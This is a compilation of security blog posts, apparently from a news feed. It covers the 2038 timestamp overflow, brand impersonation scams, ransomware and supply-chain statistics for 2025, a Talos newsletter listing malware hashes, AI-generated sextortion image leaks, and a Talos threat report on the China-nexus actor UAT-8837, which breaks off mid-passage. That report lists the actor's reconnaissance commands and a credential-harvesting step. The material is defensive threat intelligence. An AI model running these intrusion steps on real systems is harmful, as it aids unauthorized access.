What is the “year 2038 problem”, and how can businesses fix it?

Millions of IT systems — some of them industrial and IoT — may start behaving unpredictably on January 19. Potential failures include: glitches in processing card payments; false alarms from security systems; incorrect operation of medical equipment; failures in automated lighting, heating, and water supply systems; and many more less serious types of errors. The catch is — it will happen on January 19, 2038. Not that that’s a reason to relax — the time left to prepare may already be insufficient. The cause of this mass of problems will be an overflow in the integers storing date and time. While the root cause of the error is simple and clear, fixing it will require extensive and systematic efforts on every level — from governments and international bodies and down to organizations and private individuals.

The unwritten standard of the Unix epoch

The Unix epoch is the timekeeping system adopted by Unix operating systems, which became popular across the entire IT industry. It counts the seconds from 00:00:00 UTC on January 1, 1970, which is considered the zero point. Any given moment in time is represented as the number of seconds that have passed since that date. For dates before 1970, negative values are used. This approach was chosen by Unix developers for its simplicity — instead of storing the year, month, day, and time separately, only a single number is needed. This facilitates operations like sorting or calculating the interval between dates. Today, the Unix epoch is used far beyond Unix systems: in databases, programming languages, network protocols, and in smartphones running iOS and Android.

The Y2K38 time bomb

Initially, when Unix was developed, a decision was made to store time as a 32-bit signed integer. This allowed for representing a date range from roughly 1901 to 2038. The problem is that on January 19, 2038, at 03:14:07 UTC, this number will reach its maximum value (2,147,483,647 seconds) and overflow, becoming negative, and causing computers to “teleport” from January 2038 back to December 13, 1901. In some cases, however, shorter “time travel” might happen — to point zero, which is the year 1970.

This event, known as the “year 2038 problem”, “Epochalypse”, or “Y2K38”, could lead to failures in systems that still use 32-bit time representation — from POS terminals, embedded systems, and routers, to automobiles and industrial equipment. Modern systems solve this problem by using 64 bits to store time. This extends the date range to hundreds of billions of years into the future. However, millions of devices with 32-bit dates are still in operation, and will require updating or replacement before “day Y” arrives.

In this context, 32 and 64 bits refer specifically to the date storage format. Just because an operating system or processor is 32-bit or 64-bit, it doesn’t automatically mean it stores the date in its “native” bit format. Furthermore, many applications store dates in completely different ways, and might be immune to the Y2K38 problem, regardless of their bitness.

In cases where there’s no need to handle dates before 1970, the date is stored as an unsigned 32-bit integer. This type of number can represent dates from 1970 to 2106, so the problem will arrive in the more distant future.

Differences from the year 2000 problem

The infamous year 2000 problem (Y2K) from the late 20th century was similar in that systems storing the year as two digits could mistake the new date for the year 1900. Both experts and the media feared a digital apocalypse, but in the end there were just numerous isolated manifestations that didn’t lead to global catastrophic failures.

The key difference between Y2K38 and Y2K is the scale of digitization in our lives. The number of systems that will need updating is way higher than the number of computers in the 20th century, and the count of daily tasks and processes managed by computers is beyond calculation. Meanwhile, the Y2K38 problem has already been, or will soon be, fixed in regular computers and operating systems with simple software updates. However, the microcomputers that manage air conditioners, elevators, pumps, door locks, and factory assembly lines could very well chug along for the next decade with outdated, Y2K38-vulnerable software versions.

Potential problems of the Epochalypse

The date’s rolling over to 1901 or 1970 will impact different systems in different ways. In some cases, like a lighting system programmed to turn on every day at 7pm, it might go completely unnoticed. In other systems that rely on complete and accurate timestamps, a full failure could occur — for example, in the year 2000, payment terminals and public transport turnstiles stopped working. Comical cases are also possible, like issuing a birth certificate with a date in 1901. Far worse would be the failure of critical systems, such as a complete shutdown of a heating system, or the failure of a bone marrow analysis system in a hospital.

Cryptography holds a special place in the Epochalypse. Another crucial difference between 2038 and 2000 is the ubiquitous use of encryption and digital signatures to protect all communications. Security certificates generally fail verification if the device’s date is incorrect. This means a vulnerable device would be cut off from most communications — even if its core business applications don’t have any code that incorrectly handles the date.

Unfortunately, the full spectrum of consequences can only be determined through controlled testing of all systems, with separate analysis of a potential cascade of failures.

The malicious exploitation of Y2K38

IT and InfoSec teams should treat Y2K38 not as a simple software bug, but as a vulnerability that can lead to various failures, including denial of service. In some cases, it can even be exploited by malicious actors. To do this, they need the ability to manipulate the time on the targeted system. This is possible in at least two scenarios:

  • Interfering with NTP protocol data by feeding the attacked system a fake time server
  • Spoofing the GPS signal — if the system relies on satellite time

Exploitation of this error is most likely in OT and IoT systems, where vulnerabilities are traditionally slow to be patched, and the consequences of a failure can be far more substantial.

An example of an easily exploitable vulnerability related to time counting is CVE-2025-55068 (CVSSv3 8.2, CVSSv4 base 8.8) in Dover ProGauge MagLink LX4 automatic fuel-tank gauge consoles. Time manipulation can cause a denial of service at the gas station, and block access to the device’s web management panel. This defect earned its own CISA advisory.

The current status of Y2K38 mitigation

The foundation for solving the Y2K38 problem has been successfully laid in major operating systems. The Linux kernel added support for 64-bit time even on 32-bit architectures starting with version 5.6 in 2020, and 64-bit Linux was always protected from this issue. The BSD family, macOS, and iOS use 64-bit time on all modern devices. All versions of Windows released in the 21st century aren’t susceptible to Y2K38.

The situation at the data storage and application level is far more complex. Modern file systems like ZFS, F2FS, NTFS, and ReFS were designed with 64-bit timestamps, while older systems like ext2 and ext3 remain vulnerable. Ext4 and XFS require specific flags to be enabled (extended inode for ext4, and bigtime for XFS), and might need offline conversion of existing filesystems. In the NFSv2 and NFSv3 protocols, the outdated time storage format persists. It’s a similar patchwork landscape in databases: the TIMESTAMP type in MySQL is fundamentally limited to the year 2038, and requires migration to DATETIME, while the standard timestamp types in PostgreSQL are safe. For applications written in C, pathways have been created to use 64-bit time on 32-bit architectures, but all projects require recompilation. Languages like Java, Python, and Go typically use types that avoid the overflow, but the safety of compiled projects depends on whether they interact with vulnerable libraries written in C.

A massive number of 32-bit systems, embedded devices, and applications remain vulnerable until they’re rebuilt and tested, and then have updates installed by all their users.

Various organizations and enthusiasts are trying to systematize information on this, but their efforts are fragmented. Consequently, there’s no “common Y2K38 vulnerability database” out there (1, 2, 3, 4, 5).

Approaches to fixing Y2K38

The methodologies created for prioritizing and fixing vulnerabilities are directly applicable to the year 2038 problem. The key challenge will be that no tool today can create an exhaustive list of vulnerable software and hardware. Therefore, it’s essential to update inventory of corporate IT assets, ensure that inventory is enriched with detailed information on firmware and installed software, and then systematically investigate the vulnerability question.

The list can be prioritized based on the criticality of business systems and the data on the technology stack each system is built on. The next steps are: studying the vendor’s support portal, making direct inquiries to hardware and software manufacturers about their Y2K38 status, and, as a last resort, verification through testing.

When testing corporate systems, it’s critical to take special precautions:

  • Never test production systems.
  • Create a data backup immediately before the test.
  • Isolate the system being tested from communications so it can’t confuse other systems in the organization.
  • If changing the date uses NTP or GPS, ensure the 2038 test signals cannot reach other systems.
  • After testing, set the systems back to the correct time, and thoroughly document all observed system behaviors.

If a system is found to be vulnerable to Y2K38, a fixing timeline should be requested from the vendor. If a fix is impossible, plan a migration; fortunately, the time we have left still allows for updating even fairly complex and expensive systems.

The most important thing in tackling Y2K38 is not to think of it as a distant future problem whose solution can easily wait another five to eight years. It’s highly likely that we already have insufficient time to completely eradicate the defect. However, within an organization and its technology fleet, careful planning and a systematic approach to solving the problem will allow to actually make it in time.

Kaspersky official blog – ​Read More

Why LinkedIn is a hunting ground for threat actors – and how to protect yourself

The business social networking site is a vast, publicly accessible database of corporate information. Don’t believe everyone on the site is who they say they are.

WeLiveSecurity – ​Read More

Key attack scenarios involving brand impersonation

Brand, website, and corporate mailout impersonation is becoming an increasingly common technique used by cybercriminals. The World Intellectual Property Organization (WIPO) reported a spike in such incidents in 2025. While tech companies and consumer brands are the most frequent targets, every industry in every country is generally at risk. The only thing that changes is how the imposters exploit the fakes In practice, we typically see the following attack scenarios:

  • Luring clients and customers to a fake website to harvest login credentials for the real online store, or to steal payment details for direct theft.
  • Luring employees and business partners to a fake corporate login portal to acquire legitimate credentials for infiltrating the corporate network.
  • Prompting clients and customers to contact the scammers under various pretexts: getting tech support, processing a refund, entering a prize giveaway, or claiming compensation for public events involving the brand. The goal is to then swindle the victims out of as much money as possible.
  • Luring business partners and employees to specially crafted pages that mimic internal company systems, to get them to approve a payment or redirect a legitimate payment to the scammers.
  • Prompting clients, business partners, and employees to download malware — most often an infostealer — disguised as corporate software from a fake company website.

The words “luring” and “prompting” here imply a whole toolbox of tactics: email, messages in chat apps, social media posts that look like official ads, lookalike websites promoted through SEO tools, and even paid ads.

These schemes all share two common features. First, the attackers exploit the organization’s brand, and strive to mimic its official website, domain name, and corporate style of emails, ads, and social media posts. And the forgery doesn’t have to be flawless — just convincing enough for at least some of business partners and customers. Second, while the organization and its online resources aren’t targeted directly, the impact on them is still significant.

Business damage from brand impersonation

When fakes are crafted to target employees, an attack can lead to direct financial loss. An employee might be persuaded to transfer company funds, or their credentials could be used to steal confidential information or launch a ransomware attack.

Attacks on customers don’t typically imply direct damage to the company’s coffers, but they cause substantial indirect harm in the following areas:

  • Strain on customer support. Customers who “bought” a product on a fake site will likely bring their issues to the real customer support team. Convincing them that they never actually placed an order is tough, making each case a major time waster for multiple support agents.
  • Reputational damage. Defrauded customers often blame the brand for failing to protect them from the scam, and also expect compensation. According to a European survey, around half of affected buyers expect payouts and may stop using the company’s services — often sharing their negative experience on social media. This is especially damaging if the victims include public figures or anyone with a large following.
  • Unplanned response costs. Depending on the specifics and scale of an attack, an affected company might need digital forensics and incident response (DFIR) services, as well as consultants specializing in consumer law, intellectual property, cybersecurity, and crisis PR.
  • Increased insurance premiums. Companies that insure businesses against cyber-incidents factor in fallout from brand impersonation. An increased risk profile may be reflected in a higher premium for a business.
  • Degraded website performance and rising ad costs. If criminals run paid ads using a brand’s name, they siphon traffic away from its official site. Furthermore, if a company pays to advertise its site, the cost per click rises due to the increased competition. This is a particularly acute problem for IT companies selling online services, but it’s also relevant for retail brands.
  • Long-term metric decline. This includes drops in sales volume, market share, and market capitalization. These are all consequences of lost trust from customers and business partners following major incidents.

Does insurance cover the damage?

Popular cyber-risk insurance policies typically only cover costs directly tied to incidents explicitly defined in the policy — think data loss, business interruption, IT system compromise, and the like. Fake domains and web pages don’t directly damage a company’s IT systems, so they’re usually not covered by standard insurance. Reputational losses and the act of impersonation itself are separate insurance risks, requiring expanded coverage for this scenario specifically.

Of the indirect losses we’ve listed above, standard insurance might cover DFIR expenses and, in some cases, extra customer support costs (if the situation is recognized as an insured event). Voluntary customer reimbursements, lost sales, and reputational damage are almost certainly not covered.

What to do if your company is attacked by clones

If you find out someone is using your brand’s name for fraud, it makes sense to do the following:

  • Send clear, straightforward notifications to your customers explaining what happened, what measures are being taken, and how to verify the authenticity of official websites, emails, and other communications.
  • Create a simple “trust center” page listing your official domains, social media accounts, app store links, and support contacts. Make it easy to find and keep it updated.
  • Monitor new registrations of social media pages and domain names that contain your brand names to spot the clones before an attack kicks off.
  • Follow a takedown procedure. This involves gathering evidence, filing complaints with domain registrars, hosting providers, and social media administrators, then tracking the status until the fakes are fully removed. For a complete and accurate record of violations, preserve URLs, screenshots, metadata, and the date and time of discovery. Ideally, also examine the source code of fake pages, as it might contain clues pointing to other components of the criminal operation.
  • Add a simple customer reporting form for suspicious sites or messages to your official website and/or branded app. This helps you learn about problems early.
  • Coordinate activities between your legal, cybersecurity, and marketing teams. This ensures a consistent, unified, and effective response.

How to defend against brand impersonation attacks

While the open nature of the internet and the specifics of these attacks make preventing them outright impossible, a business can stay on top of new fakes and have the tools ready to fight back.

  • Continuously monitor for suspicious public activity using specialized monitoring services. The most obvious indicator is the registration of domains similar to your brand name, but there are others — like someone buying databases related to your organization on the dark web. Comprehensive monitoring of all platforms is best outsourced to a specialized service provider, such as Kaspersky Digital Footprint Intelligence (DFI).
  • The quickest and simplest way to take down a fake website or social media profile is to file a trademark infringement complaint. Make sure your portfolio of registered trademarks is robust enough to file complaints under UDRP procedures before you need it.
  • When you discover fakes, deploy UDRP procedures promptly to have the fake domains transferred or removed. For social media, follow the platform’s specific infringement procedure — easily found by searching for “[social media name] trademark infringement” (for example, “LinkedIn trademark infringement”). Transferring the domain to the legitimate owner is preferred over deletion, as it prevents scammers from simply re-registering it. Many continuous monitoring services, such as Kaspersky Digital Footprint Intelligence, also offer a rapid takedown service, filing complaints on the protected brand’s behalf.
  • Act quickly to block fake domains on your corporate systems. This won’t protect partners or customers, but it’ll throw a wrench into attacks targeting your own employees.
  • Consider proactively registering your company’s website name and common variations (for example, with and without hyphens) in all major top-level domains, such as .com, and local extensions. This helps protect partners and customers from common typos and simple copycat sites.

Kaspersky official blog – ​Read More

Ransomware and Supply Chain Attacks Soared in 2025

ransomware attacks in 2025

Overview 

Ransomware and supply chain attacks soared in 2025, and persistently elevated attack levels suggest that the global threat landscape will remain perilous heading into 2026. 

Cyble recorded 6,604 ransomware attacks in 2025, up 52% from the 4,346 attacks claimed by ransomware groups in 2024. The year ended with a near-record 731 ransomware attacks in December, second only to February 2025’s record totals (chart below). 

Supply chain attacks nearly doubled in 2025, as Cyble dark web researchers recorded 297 supply chain attacks claimed by threat groups in 2025, up 93% from 154 such events in 2024 (chart below). As ransomware groups are consistently behind more than half of supply chain attacks, the two attack types have become increasingly linked. 

While supply chain attacks have declined in the two months since October’s record, they remain above even the elevated trend that began in April 2025

We’ll take a deeper look at ransomware and supply chain attack data, including targeted sectors and regions, attack trends, and leading threat actors. Some of the data and insights come from Cyble’s new Annual Threat Landscape Report covering cybercrime, ransomware, vulnerabilities, and other 2025-2026 cyber threat trends. 

Qilin Dominated After RansomHub Declined 

Qilin emerged as the leading ransomware group in April after RansomHub went offline amid possible sabotage by rival Dragonforce. Qilin has remained on top in every month but one since, and was once again the top ransomware group in December with 190 claimed victims (December chart below). 

December was also noteworthy for the long-awaited resurgence of Lockbit and the continued emergence of Sinobi

For full-year 2025, Qilin dominated, claiming 17% of all ransomware victims (full-year chart below). Of the top five ransomware groups in 2025, only Akira and Play also made the top five in 2024, as RansomHub, Lockbit and Hunters all fell from the top five. Lockbit was hampered by repeated law enforcement actions, while Hunters announced it was shutting down in mid-2025. 

Cyble documented 57 new ransomware groups and 27 new extortion groups in 2025, including emerging leaders like Sinobi and The Gentlemen. Over 350 new ransomware strains were discovered in 2025, largely based on the MedusaLocker, Chaos, and Makop ransomware families. 

Among newly emerged ransomware groups, Cyble observed heightened attacks on critical infrastructure industries (CII), especially in Government & LEA and Energy & Utilities, by groups such as Devman, Sinobi, Warlock, and Gunra. Several newly emerged groups targeted the software supply chain, among them RALord/Nova, Warlock, Sinobi, The Gentlemen, and BlackNevas, with a particular focus on the IT & ITES, Technology, and Transportation & Logistics sectors. 

Cl0p’s Oracle E-Business Suite vulnerability exploitation campaign led to a supply-chain impact on more than 118 entities globally, including those in the IT & ITES sector. Among these, six entities from the critical infrastructure industries (CII) were observed to have fallen victim to this exploitation campaign. The Fog ransomware group also leaked multiple GitLab source codes from several IT companies. 

The U.S. remains by far the most frequent target of ransomware groups, accounting for 55% of ransomware attacks in 2025 (chart below). Canada, Germany, the UK, Italy, and France were also consistent targets for ransomware groups

Construction, professional services, and manufacturing were consistently the sectors most targeted by ransomware groups, with healthcare and IT rounding out the top five (chart below). 

Supply Chain Attacks Hit Every Industry and Sector in 2025 

Every sector tracked by Cyble was hit by a software supply chain attack in 2025 (chart below), but because of the rich target they represent and their significant downstream customer base, the IT and Technology sectors were by far the most frequently targeted, accounting for more than a third of supply chain attacks. 

Supply chain intrusions in 2025 expanded far beyond traditional package poisoning, targeting cloud integrations, SaaS trust relationships, and vendor distribution pipelines. 

Adversaries are increasingly abusing upstream services—such as identity providers, package registries, and software delivery channels—to compromise downstream environments on a large scale. 

A few examples highlighting the evolving third-party risk landscape include: 

Attacks targeting Salesforce data via third-party integrations did not modify code; instead, they weaponized trust between SaaS platforms, illustrating how OAuth-based integrations can become high-impact supply chain vulnerabilities when third-party tokens have been compromised. 

The nation-state group Silk Typhoon intensified operations against IT and cloud service providers, exploiting VPN zero-days, password-spraying attacks, and misconfigured privileged access systems. After breaching upstream vendors such as MSPs, remote-management platforms, or PAM service providers, the group pivoted into customer environments via inherited admin credentials, compromised service principals, and high-privilege cloud API permissions. 

A China-aligned APT group, PlushDaemon, compromised the distribution channel of a South Korean VPN vendor, replacing legitimate installers with a trojanized version bundling the SlowStepper backdoor. The malicious installer, delivered directly from the vendor’s website, installed both the VPN client and a modular surveillance framework supporting credential theft, keylogging, remote execution, and multimedia capture. By infiltrating trusted security software, the attackers gained persistent access to organizations relying on the VPN for secure remote connectivity, turning a defensive tool into an espionage vector. 

Conclusion 

The significant supply chain and ransomware threats facing security teams as we enter 2026 require a renewed focus on cybersecurity best practices that can help protect against a wide range of cyber threats. These practices include: 

  • Protecting web-facing assets. 

  • Segmenting networks and critical assets. 

  • Hardening endpoints and infrastructure. 

  • Strong access controls, allowing no more access than is required, with frequent verification. 

  • A strong source of user identity and authentication, including multi-factor authentication and biometrics, as well as machine authentication with device compliance and health checks. 

  • Encryption of data at rest and in transit. 

  • Ransomware-resistant backups that are immutable, air-gapped, and isolated as much as possible. 

  • Honeypots that lure attackers to fake assets for early breach detection. 

  • Proper configuration of APIs and cloud service connections. 

  • Monitoring for unusual and anomalous activity with SIEM, Active Directory monitoring, endpoint security, and data loss prevention (DLP) tools. 

  • Routinely assessing and confirming controls through audits, vulnerability scanning, and penetration tests. 

Cyble’s comprehensive attack surface management solutions can help by scanning network and cloud assets for exposures and prioritizing fixes, in addition to monitoring for leaked credentials and other early warning signs of major cyberattacks. Additionally, Cyble’s third-party risk intelligence can help organizations carefully vet partners and suppliers, providing an early warning of potential risks. 

The post Ransomware and Supply Chain Attacks Soared in 2025 appeared first on Cyble.

Cyble – ​Read More

Predicting 2026

Predicting 2026

Welcome to this week’s edition of the Threat Source newsletter. 

It’s become traditional at this time of year to make predictions about cybersecurity for the coming year. Obviously, no one has a crystal ball to predict the future, and if they did, they would be quietly making a fortune rather than sharing their insights in a newsletter. Any predictions about what lies ahead in the coming year should be taken with a generous pinch of salt. 

However, the exercise isn’t futile. Taking time to pause and reflect on the current threat landscape, the forces driving change, and how our own exposure is evolving can help us form reasonable guesses about what might happen during the forthcoming year. 

We’re living in a very tense geopolitical environment. We should expect continued use of infostealer malware and phishing campaigns as adversaries seek to map supply chains, and understand how organisations and governments may react to escalating aggression. As part of this activity, we’ll continue to see proxy actors conducting destructive attacks and financing their activities through extorting payment. Less sophisticated groups may also engage in website defacements or deploy disruptive malware in pursuit of political visibility or ideological goals. 

Suffice to say that we are living in tense and difficult times. In a globally connected world, no one is isolated from the effects of conflict, no matter how distant it may seem. 

At the same time, our use of technology continues to evolve, reshaping our threat exposure. Many organizations have already enthusiastically embraced generative AI. As AI systems are given more autonomy and broader access to internal systems, we can imagine that we will see breaches caused by poorly constrained or insufficiently governed AI agents. 

Many accidental or malicious insider attacks are caused by individuals having excessive permissions or unfettered access to data with little oversight. We can imagine AI agents provoking similar incidents, whether through flawed design, unintended behavior, or deliberate prompt manipulation by an attacker. 

While it is important to consider these newer and more exotic threats, we should not lose sight of the familiar ones. Unpatched systems, leaked credentials, accounts lacking multi-factor authentication, and poor network visibility continue to underpin many successful attacks. 

One thing is certain: Cybersecurity teams will remain busy throughout 2026.  There will be threat actors attempting to compromise our systems, there will be new techniques that they will use, but there will be many more attacks using techniques that we have seen before. 

It’s going to be a demanding year. Wishing good fortune and happy threat hunting to everyone.

The one big thing 

Cisco Talos is monitoring UAT-8837, which we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor. They have been actively targeting critical infrastructure organizations in North America since at least 2025. They typically gain access by exploiting vulnerabilities or using stolen credentials, then use a mix of open-source tools to steal sensitive data and create multiple ways back into the network. UAT-8837 adapts quickly, constantly changing up their tools to evade detection. 

Why do I care? 

This group is focused on high-value targets and uses advanced, constantly evolving techniques that can bypass traditional defenses — even leveraging zero-day vulnerabilities. Their actions can lead to stolen credentials, persistent access, and potentially large-scale supply chain or infrastructure disruptions. 

So now what? 

Stay vigilant by keeping systems patched, monitoring for the specific tools and behaviors outlined in the report, and using up-to-date detection rules from sources like Talos. Proactively hunting for these IOCs and unusual user/account activity, combined with strong credential and privilege management, will be crucial to reducing risk from UAT-8837.

Top security headlines of the week 

BreachForums breached, exposing 324K cybercriminals 
In an ironic development, an individual using the moniker “James” published a database containing detailed information of hundreds of thousands of BreachForum users who believed they were operatinganonymously. (DarkReading

Target’s dev server offline after hackers claim to steal source code 
An unknown threat actor has claimed to have stolen a trove of Target’s internal source code and documentation and is selling it on dark web marketplaces. Multiple Target employees have now confirmed the authenticity of leaked source code sample set. (BleepingComputer

Predator spyware turns failed attacks into intelligence for future exploits 
New research reveals previously undocumented mechanisms that return information to developers on failed individual attacks. This means Predator can learn from its own failures so that future versions may be hardened against detection and analysis. (SecurityWeek

Instagram fixes password reset vulnerability amid user data leak 
Social media giant Meta confirmed an Instagram password reset vulnerability but denied being breached. Meta said the resolved vulnerability allowed third parties to send password reset requests to Instagram users. (SecurityWeek

Everest Ransomware claims breach at Nissan, says 900GB of data stolen
While no sensitive personal data is shown in the screenshots themselves, the folder names and file types imply access to operational systems and documents that could be used to map internal processes or extract more sensitive information. (Hack Read

Can’t get enough Talos? 

Talos Takes: Cyber certifications and you 
In the first episode of the year, Amy Ciminnisi, Talos’ Content Manager and new podcast host, steps up to the mic with Joe Marshall to explore certifications, one of cybersecurity’s overwhelming (and sometimes most controversial) topics. 

Humans of Talos: Brushstrokes and breaches with Terryn Valikodath 
Join us as Terryn shares what keeps him motivated during high-pressure incidents, the satisfaction he finds in teaching others during Cyber Range trainings, and the creative outlets that help him recharge. 

Microsoft Patch Tuesday for January 2026 
Microsoft has released its monthly security update for January 2026, which includes 112 vulnerabilities affecting a range of products, including 8 that Microsoft marked as “critical.”

Upcoming events where you can find Talos 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
Example Filename: APQCE0B.dll  
Detection Name: Auto.90B145.282358.in02 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
Example Filename: e74d9994a37b2b4c693a76a580c3e8fe_3_Exe.exe  
Detection Name: Win.Dropper.Miner::95.sbx.tg 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
Example Filename: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507.exe  
Detection Name: Win.Worm.Coinminer::1201 

SHA256: 41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610  
MD5: 85bbddc502f7b10871621fd460243fbc  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610  
Example Filename: 85bbddc502f7b10871621fd460243fbc.exe  
Detection Name: W32.41F14D86BC-100.SBX.TG 

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  
MD5: 71fea034b422e4a17ebb06022532fdde  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  
Example Filename: VID001.exe  
Detection Name: Coinminer:MBT.26mw.in14.Talos 

Cisco Talos Blog – ​Read More

AI-powered sextortion: a new threat to privacy | Kaspersky official blog

In 2025, cybersecurity researchers discovered several open databases belonging to various AI image-generation tools. This fact alone makes you wonder just how much AI startups care about the privacy and security of their users’ data. But the nature of the content in these databases is far more alarming.

A large number of generated pictures in these databases were images of women in lingerie or fully nude. Some were clearly created from children’s photos, or intended to make adult women appear younger (and undressed). Finally, the most disturbing part: some pornographic images were generated from completely innocent photos of real people — likely taken from social media.

In this post, we’re talking about what sextortion is, and why AI tools mean anyone can become a victim. We detail the contents of these open databases, and give you advice on how to avoid becoming a victim of AI-era sextortion.

What is sextortion?

Online sexual extortion has become so common it’s earned its own global name: sextortion (a portmanteau of sex and extortion). We’ve already detailed its various types in our post, Fifty shades of sextortion. To recap, this form of blackmail involves threatening to publish intimate images or videos to coerce the victim into taking certain actions, or to extort money from them.

Previously, victims of sextortion were typically adult industry workers, or individuals who’d shared intimate content with an untrustworthy person.

However, the rapid advancement of artificial intelligence, particularly text-to-image technology, has fundamentally changed the game. Now, literally anyone who’s posted their most innocent photos publicly can become a victim of sextortion. This is because generative AI makes it possible to quickly, easily, and convincingly undress people in any digital image, or add a generated nude body to someone’s head in a matter of seconds.

Of course, this kind of fakery was possible before AI, but it required long hours of meticulous Photoshop work. Now, all you need is to describe the desired result in words.

To make matters worse, many generative AI services don’t bother much with protecting the content they’ve been used to create. As mentioned earlier, last year saw researchers discover at least three publicly accessible databases belonging to these services. This means the generated nudes within them were available not just to the user who’d created them, but to anyone on the internet.

How the AI image database leak was discovered

In October 2025, cybersecurity researcher Jeremiah Fowler uncovered an open database containing over a million AI-generated images and videos. According to the researcher, the overwhelming majority of this content was pornographic in nature. The database wasn’t encrypted or password-protected — meaning any internet user could access it.

The database’s name and watermarks on some images led Fowler to believe its source was the U.S.-based company SocialBook, which offers services for influencers and digital marketing services. The company’s website also provides access to tools for generating images and content using AI.

However, further analysis revealed that SocialBook itself wasn’t directly generating this content. Links within the service’s interface led to third-party products — the AI services MagicEdit and DreamPal — which were the tools used to create the images. These tools allowed users to generate pictures from text descriptions, edit uploaded photos, and perform various visual manipulations, including creating explicit content and face-swapping.

The leak was linked to these specific tools, and the database contained the product of their work, including AI-generated and AI-edited images. A portion of the images led the researcher to suspect they’d been uploaded to the AI as references for creating provocative imagery.

Fowler states that roughly 10,000 photos were being added to the database every single day. SocialBook denies any connection to the database. After the researcher informed the company of the leak, several pages on the SocialBook website that had previously mentioned MagicEdit and DreamPal became inaccessible and began returning errors.

Which services were the source of the leak?

Both services — MagicEdit and DreamPal — were initially marketed as tools for interactive, user-driven visual experimentation with images and art characters. Unfortunately, a significant portion of these capabilities were directly linked to creating sexualized content.

For example, MagicEdit offered a tool for AI-powered virtual clothing changes, as well as a set of styles that made images of women more revealing after processing — such as replacing everyday clothes with swimwear or lingerie. Its promotional materials promised to turn an ordinary look into a sexy one in seconds.

DreamPal, for its part, was initially positioned as an AI-powered role-playing chat, and was even more explicit about its adult-oriented positioning. The site offered to create an ideal AI girlfriend, with certain pages directly referencing erotic content. The FAQ also noted that filters for explicit content in chats were disabled so as not to limit users’ most intimate fantasies.

Both services have suspended operations. At the time of writing, the DreamPal website returned an error, while MagicEdit seemed available again. Their apps were removed from both the App Store and Google Play.

Jeremiah Fowler says earlier in 2025, he discovered two more open databases containing AI-generated images. One belonged to the South Korean site GenNomis, and contained 95,000 entries — a substantial portion of which being images of “undressed” people. Among other things, the database included images with child versions of celebrities: American singers Ariana Grande and Beyoncé, and reality TV star Kim Kardashian.

How to avoid becoming a victim

In light of incidents like these, it’s clear that the risks associated with sextortion are no longer confined to private messaging or the exchange of intimate content. In the era of generative AI, even ordinary photos, when posted publicly, can be used to create compromising content.

This problem is especially relevant for women, but men shouldn’t get too comfortable either: the popular blackmail scheme of “I hacked your computer and used the webcam to make videos of you browsing adult sites” could reach a whole new level of persuasion thanks to AI tools for generating photos and videos.

Therefore, protecting your privacy on social media and controlling what data about you is publicly available become key measures for safeguarding both your reputation and peace of mind. To prevent your photos from being used to create questionable AI-generated content, we recommend making all your social media profiles as private as possible — after all, they could be the source of images for AI-generated nudes.

We’ve already published multiple detailed guides on how to reduce your digital footprint online or even remove your data from the internet, how to stop data brokers from compiling dossiers on you, and protect yourself from intimate image abuse.

Additionally, we have a dedicated service, Privacy Checker — perfect for anyone who wants a quick but systematic approach to privacy settings everywhere possible. It compiles step-by-step guides for securing accounts on social media and online services across all major platforms.

And to ensure the safety and privacy of your child’s data, Kaspersky Safe Kids can help: it allows parents to monitor which social media their child spends time on. From there, you can help them adjust privacy settings on their accounts so their posted photos aren’t used to create inappropriate content. Explore our guide to children’s online safety together, and if your child dreams of becoming a popular blogger, discuss our step-by-step cybersecurity guide for wannabe bloggers with them.

Kaspersky official blog – ​Read More

UAT-8837 targets critical infrastructure sectors in North America

  • Cisco Talos is closely tracking UAT-8837, a threat actor we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor based on overlaps in tactics, techniques, and procedures (TTPs) with those of other known China-nexus threat actors.
  • Based on UAT-8837’s TTPs and post-compromise activity Talos has observed across multiple intrusions, we assess with medium confidence that this actor is primarily tasked with obtaining initial access to high-value organizations.
  • Although UAT-8837’s targeting may appear sporadic, since at least 2025, the group has clearly focused on targets within critical Infrastructure sectors in North America.

UAT-8837 targets critical infrastructure sectors in North America

After obtaining initial access — either by successful exploitation of vulnerable servers or by using compromised credentials — UAT-8837 predominantly deploys open-source tools to harvest sensitive information such as credentials, security configurations, and domain and Active Directory (AD) information to create multiple channels of access to their victims. The threat actor uses a combination of tools in their post-compromise hands-on-keyboard operations, including Earthworm, Sharphound, DWAgent, and Certipy. The TTPs, tooling, and remote infrastructure associated with UAT-8837 were also seen in the recent exploitation of CVE-2025-53690, a ViewState Deserialization zero-day vulnerability in SiteCore products, indicating that UAT-8837 may have access to zero-day exploits.


Post-compromise actions

UAT-8837 can exploit both n-day and zero-day vulnerabilities to gain access to target environments. Most recently, UAT-8837 exploited a ViewState Deserialization zero-day vulnerability in SiteCore products, CVE-2025-53690, to obtain initial access.

After UAT-8837 gains initial access, they begin conducting preliminary reconnaissance, leveraging the following commands:

ping google[.]com
tasklist /svc
netstat -aon -p TCP
whoami
quser
hostname
net user

The threat actor disables RestrictedAdmin for Remote Desktop Protocol (RDP) to obtain credentials for remoting into other devices:

